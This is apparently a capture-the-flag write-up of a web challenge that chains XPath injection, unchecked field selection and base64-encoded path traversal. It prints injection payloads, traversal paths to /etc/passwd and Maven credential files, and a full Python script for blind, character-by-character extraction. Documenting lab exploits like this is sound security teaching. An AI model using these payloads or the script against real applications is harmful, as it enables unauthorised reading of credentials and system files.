Address Book

May 18, 2026

Address Book

Overview

Address Book was a web challenge built around unsafe XML querying. The application let users search employee data, but three design bugs combined into full data extraction:

  • XPath injection in the input parameter
  • arbitrary field selection through the field parameter
  • XML file traversal through a base64-encoded f parameter

These bugs exposed hidden data in address_book.xml and credentials in /etc/maven/settings.xml. Concrete flags are redacted in this public version.

Confirming XPath Injection

A normal search request looked like this:

GET /search?input=Alex+Morgan&field=name&f=YWRkcmVzc19ib29rLnhtbA%3D%3D

The response leaked the generated XPath expression in a debug element:

//employees/employee[contains(name, 'Alex Morgan')]

That revealed three important facts:

  • the backend used XPath
  • input was concatenated directly into the XPath string
  • f was base64 for address_book.xml

Decoding f confirmed the filename:

python3 - <<'PY'
import base64
print(base64.b64decode("YWRkcmVzc19ib29rLnhtbA==").decode())
PY

Output:

address_book.xml

Discovering Hidden Fields

The UI only exposed name, address, and phone, but the field parameter was not allowlisted. Supplying field=note produced this debug XPath:

//employees/employee[contains(note, '')]

That showed the backing XML had a hidden note field even though the page did not render it directly.

Extracting The Hidden Note

The response only rendered normal employee fields, so I used the result count as a boolean oracle.

Payload pattern:

Alex Morgan') and contains(note,'FLAG') and ('1'='1

Resulting XPath:

//employees/employee[contains(name, 'Alex Morgan') and contains(note,'FLAG') and ('1'='1')]

If the page returned 1 employee(s) found, the tested substring was present. Extending the known substring one character at a time recovered the first flag, redacted here:

[redacted addressbook flag 1]

Confirming File Traversal

The f parameter was base64-decoded and resolved under the application data directory. Supplying a traversal path changed the backend file being parsed.

For example, encoding ../../../../etc/passwd:

python3 - <<'PY'
import base64
print(base64.b64encode(b"../../../../etc/passwd").decode())
PY

The server attempted to parse /etc/passwd as XML and returned an XML parse error instead of a missing-file error:

Content is not allowed in prolog.

That proved path traversal worked.

Targeting Maven Settings

The useful XML target was /etc/maven/settings.xml, supplied through traversal as:

../../../../etc/maven/settings.xml

The file parsed successfully, but it did not contain employees/employee nodes. To query it, I pivoted the XPath structure with a union injection.

Injected payload:

')]|//server[contains(password,'FLAG')]|//employees/employee[contains(name,'

Resulting shape:

//employees/employee[contains(name, '')]|//server[contains(password,'FLAG')]|//employees/employee[contains(name,'')]

If the result count was 1, a <server> node matched.

Recovered Maven Credentials

The same boolean extraction technique recovered a Maven server entry:

id = repo
username = ctf-user
password = [redacted addressbook flag 2]

Proof Of Concept

The core extraction logic was:

#!/usr/bin/env python3
import base64
import re
import urllib.parse
import urllib.request

BASE = "http://addressbook.ctf/search"

def query(input_value, field="name", f_path="address_book.xml"):
    f = base64.b64encode(f_path.encode()).decode()
    url = BASE + "?" + urllib.parse.urlencode({
        "input": input_value,
        "field": field,
        "f": f,
    })
    html = urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")
    m = re.search(r"<span>(\d+)</span> employee\(s\) found", html)
    return int(m.group(1)) if m else None

def oracle_addressbook(expr):
    payload = f"Alex Morgan') and {expr} and ('1'='1"
    return query(payload, field="name", f_path="address_book.xml") == 1

def oracle_maven(expr):
    payload = f"')]|//server[{expr}]|//employees/employee[contains(name,'"
    return query(payload, field="name", f_path="../../../../etc/maven/settings.xml") == 1

def extract_contains(oracle, field_expr, seed="FLAG"):
    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-:.@/+=#$%,"
    known = seed
    while True:
        for ch in alphabet:
            candidate = known + ch
            if oracle(f"contains({field_expr},'{candidate}')"):
                known = candidate
                print(known)
                break
        else:
            return known

print(extract_contains(oracle_addressbook, "note", seed="FLAG"))
print(extract_contains(oracle_maven, "password", seed="FLAG"))

Root Cause

The application was vulnerable because:

  • input was concatenated directly into XPath
  • field was not allowlisted
  • f let the client choose backend XML files
  • traversal was not canonicalized away
  • debug XPath output made exploitation easier

Takeaways

The key was not just XPath injection. The challenge became much more powerful because the app also exposed field selection and file selection, turning a search bug into arbitrary XML querying over local files.